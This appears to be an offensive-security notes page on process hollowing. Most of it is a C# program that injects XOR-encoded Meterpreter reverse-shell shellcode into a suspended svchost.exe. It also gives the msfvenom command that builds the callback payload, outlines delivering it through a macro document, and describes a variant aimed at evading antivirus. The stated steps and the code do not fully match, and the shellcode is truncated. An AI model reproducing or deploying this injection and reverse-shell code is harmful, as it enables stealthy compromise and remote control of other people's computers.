githubEdit

Process Hollowing

Explanation

An advanced injection technique where a legitimate process is started in a suspended state, its memory is unmapped, and malicious code is written into itβ€”effectively "hollowing out" the original process. The thread is then resumed, executing the injected payload under the guise of a legitimate executable.

High-level steps

1.Create a target process (e.g., svchost.exe) in a suspended state using CreateProcess with CREATE_SUSPENDED.

2.Retrieve the base address of the main module using NtQueryInformationProcess and ReadProcessMemory.

3.Unmap the memory of the original executable using NtUnmapViewOfSection.

4.Allocate memory in the remote process using VirtualAllocEx.

5.Write the malicious executable (often a PE file) into the allocated memory using WriteProcessMemory.

6.Update the remote process's context (entry point) with SetThreadContext.

  1. Resume the main thread with ResumeThread to execute the injected payload.

Code

using System;
using System.Runtime.InteropServices;
class Program
{
    // Define necessary structures
    [StructLayout(LayoutKind.Sequential)]
    public struct STARTUPINFO
    {
        public uint cb;
        public string lpReserved;
        public string lpDesktop;
        public string lpTitle;
        public uint dwX;
        public uint dwY;
        public uint dwXSize;
        public uint dwYSize;
        public uint dwXCountChars;
        public uint dwYCountChars;
        public uint dwFillAttribute;
        public uint dwFlags;
        public ushort wShowWindow;
        public ushort cbReserved2;
        public IntPtr lpReserved2;
        public IntPtr hStdInput;
        public IntPtr hStdOutput;
        public IntPtr hStdError;
    }

    [StructLayout(LayoutKind.Sequential)]
    public struct PROCESS_INFORMATION
    {
        public IntPtr hProcess;
        public IntPtr hThread;
        public uint dwProcessId;
        public uint dwThreadId;
    }

    [StructLayout(LayoutKind.Sequential)]
    public struct CLIENT_ID
    {
        public IntPtr UniqueProcess;
        public IntPtr UniqueThread;
    }

    [StructLayout(LayoutKind.Sequential)]
    public struct PROCESS_BASIC_INFORMATION
    {
        public IntPtr ExitStatus;
        public IntPtr PebAddress;
        public IntPtr AffinityMask;
        public IntPtr BasePriority;
        public IntPtr UniqueProcessId;
        public IntPtr InheritedFromUniqueProcessId;
    }

    // Constants
    const uint CREATE_SUSPENDED = 0x00000004;
    const int ProcessBasicInformation = 0;

    // Function declarations
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool CreateProcess(
        string lpApplicationName,
        string lpCommandLine,
        IntPtr lpProcessAttributes,
        IntPtr lpThreadAttributes,
        bool bInheritHandles,
        uint dwCreationFlags,
        IntPtr lpEnvironment,
        string lpCurrentDirectory,
        ref STARTUPINFO lpStartupInfo,
        out PROCESS_INFORMATION lpProcessInformation
    );

    [DllImport("ntdll.dll")]
    static extern int NtQueryInformationProcess(
        IntPtr hProcess,
        int processInformationClass,
        ref PROCESS_BASIC_INFORMATION processInformation,
        uint processInformationLength,
        ref uint returnLength
    );

    [DllImport("ntdll.dll")]
    static extern int NtReadVirtualMemory(
        IntPtr hProcess,
        IntPtr lpBaseAddress,
        byte[] lpBuffer,
        int NumberOfBytesToRead,
        out IntPtr lpNumberOfBytesRead
    );

    [DllImport("kernel32.dll")]
    static extern bool WriteProcessMemory(
        IntPtr hProcess,
        IntPtr lpBaseAddress,
        byte[] lpBuffer,
        int NumberOfBytesToWrite,
        out IntPtr lpNumberOfBytesWritten
    );

    [DllImport("ntdll.dll", SetLastError = true)]
    static extern bool NtResumeProcess(IntPtr hThread);

    static void Main()
    {

        STARTUPINFO si = new STARTUPINFO();
        PROCESS_INFORMATION pi = new PROCESS_INFORMATION();

        // Create process in suspended state
        bool res = CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", IntPtr.Zero, IntPtr.Zero, false, CREATE_SUSPENDED, IntPtr.Zero, null, ref si, out pi);

        PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();
        uint tmp = 0;
        IntPtr hProcess = pi.hProcess;

        NtQueryInformationProcess(hProcess, ProcessBasicInformation, ref bi, (uint)(IntPtr.Size * 6), ref tmp);

        IntPtr ptrImageBaseAddress = (IntPtr)((Int64)bi.PebAddress + 0x10);

        byte[] baseAddressBytes = new byte[IntPtr.Size];
        IntPtr nRead;
        NtReadVirtualMemory(hProcess, ptrImageBaseAddress, baseAddressBytes, baseAddressBytes.Length, out nRead);
        IntPtr imageBaseAddress = (IntPtr)(BitConverter.ToInt64(baseAddressBytes, 0));

        byte[] data = new byte[0x200];
        NtReadVirtualMemory(hProcess, imageBaseAddress, data, data.Length, out nRead);

        uint e_lfanew = BitConverter.ToUInt32(data, 0x3C);
        uint entrypointRvaOffset = e_lfanew + 0x28;
        uint entrypointRva = BitConverter.ToUInt32(data, (int)entrypointRvaOffset);

        IntPtr entrypointAddress = (IntPtr)((UInt64)imageBaseAddress + entrypointRva);

        // Step 6: Generate: msfvenom -p windows/x64/meterpreter/reverse_tcp exitfunc=thread LHOST=ens33 LPORT=443 -f csharp
        // Shellcode XOR'd with key: 0xfa
        byte[] buf = new byte[511] { 0x06, 0xB2...};
       
        
        for (int i = 0; i < buf.Length; i++)
        {
            buf[i] = (byte)((uint)buf[i] ^ 0xfa);
        }

        WriteProcessMemory(hProcess, entrypointAddress, buf, buf.Length, out nRead);

        // Step 8: Resume the thread to execute the shellcode
        NtResumeProcess(pi.hProcess);
        Console.WriteLine("Boom! Check your listener.");

    }
}

Encrypted Meterpreter

1) Create shellcode

2) Create a new Macro file

Insert your shellcode from step above and save the file as a .docm, in this case it will inject into notepad.exe but you can change this

3) Start Metasploit listener

4) Deliver Macro

Process Hollowing with Sleeper for AV Detection

This C# program implements process hollowing via entry-point overwrite inside a suspended process. It starts a benign process (svchost.exe) suspended, walks the target process's PEB to find the loaded image base and the PE header, computes the process entrypoint address (handling ASLR), XOR-decodes an embedded shellcode blob, writes that decoded payload directly over the target process's entrypoint, and then resumes the main thread so the injected payload runs in the context of the host process.

High-level steps (mapped to the code)

1.Create the target process in a suspended state using CreateProcess (CREATE_SUSPENDED).

2.Query the target's PEB to get the image base using ZwQueryInformationProcess.

3.Read the on-disk/loaded PE headers from the target with ReadProcessMemory to locate the entrypoint RVA.

4.Compute the absolute entrypoint address by adding the image base + RVA.

5.XOR-decode the embedded shellcode and overwrite the entrypoint with WriteProcessMemory.

6.Resume the suspended thread to run the injected payload using ResumeThread

Code

Last updated